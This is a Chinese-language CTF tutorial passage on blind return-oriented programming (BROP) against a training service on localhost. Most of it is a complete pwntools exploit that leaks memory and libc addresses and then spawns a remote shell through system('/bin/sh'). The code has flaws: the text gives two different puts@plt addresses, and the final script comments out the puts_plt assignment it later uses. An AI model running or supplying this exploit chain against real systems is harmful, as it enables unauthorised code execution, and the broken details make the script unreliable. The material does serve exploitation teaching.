PLT表和GOT在前面学习过了,这里就不赘述。在ret2csu中使用的是LibcSearch查找的函数的GOT表地址,由于此题开启了ASLR保护,所以不能使用工具去寻找,那只能手动寻找,其实要找的就是put_plt地址后面存放的jmp指令要跳转的地址。

手动将整个PLT部分dump下来,dump出来的文件重新设置基地址为0x400000,再根据前面得到的puts_plt地址找到对应位置,查看该地址内的汇编指令

def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
#72个a填满栈空间至ret位置,后接pop rdi;ret gadget,循环递增的地址被pop进rdi寄存器,接下来将puts_plt地址防止在gadget ret位置进行调用打印循环递增的地址,最后加上stop gadget防止崩溃
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]#将接收的\nWelCome之前的字符串交给data变量
except Exception:
data = data
if data == "": #如果data被赋值之后为空,那么就说明已经完成整个dump过程,添加\x00截断
data = '\x00'
return data
except Exception:
sh.close()
return None

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = "" #准备一个空字符串接收dump出来的代码
while addr < 0x401000: #从0x400000开始泄露0x1000个字节,足以包含程序的plt部分
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None: #判断接收字符是否为空
continue
else:
result += data #接收字符串
addr += len(data) #addr+接收字符串个数,避免接收重复的字符串
with open('code', 'wb') as f: #在当前目录下以二进制形式向hollk文件中写
f.write(result)

执行后会在本地目录得到一个名为”code“的文件

dump出来的文件可以看作是windows下脱壳后的文件,实际情况下是看不到二进制文件的,但是dump出来的plt段的内容时可以使用IDA查看的。

  • 在IDA64中,选择binary File形式打开,选择64-bit mode

  • 给文件设置基地址为0x400000,edit->segments->rebase program,改为0x400000即可

  • 在之前找到的puts函数的plt的地址为0x400555,找到偏移0x560处,将该地址处的数据转化为汇编指令

    seg000:000000000040055F                 db    0
    seg000:0000000000400560 ; -------------------------------------------------------------
    seg000:0000000000400560 jmp qword ptr cs:601018h
    seg000:0000000000400560 ; -------------------------------------------------------------
    seg000:0000000000400566 db 68h ; h

    puts_got地址为0x601018

EXP

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

完整EXP

from pwn import *
from LibcSearcher import *

sh = remote('127.0.0.1', 9999)

#sh = process('./brop')

#context.log_level = 'debug'


def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1


def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
content = sh.recv()
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
except Exception:
addr += 1
sh.close()


def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15, ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(saved_addr) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(csu_middle) # will call [rbx + r12 * 0x8]
payload += 'A' * 56 # junk
return payload

def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False


def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


def find_brop_gadget(length, stop_gadget):
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1


def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None


def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)

#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
#puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

参考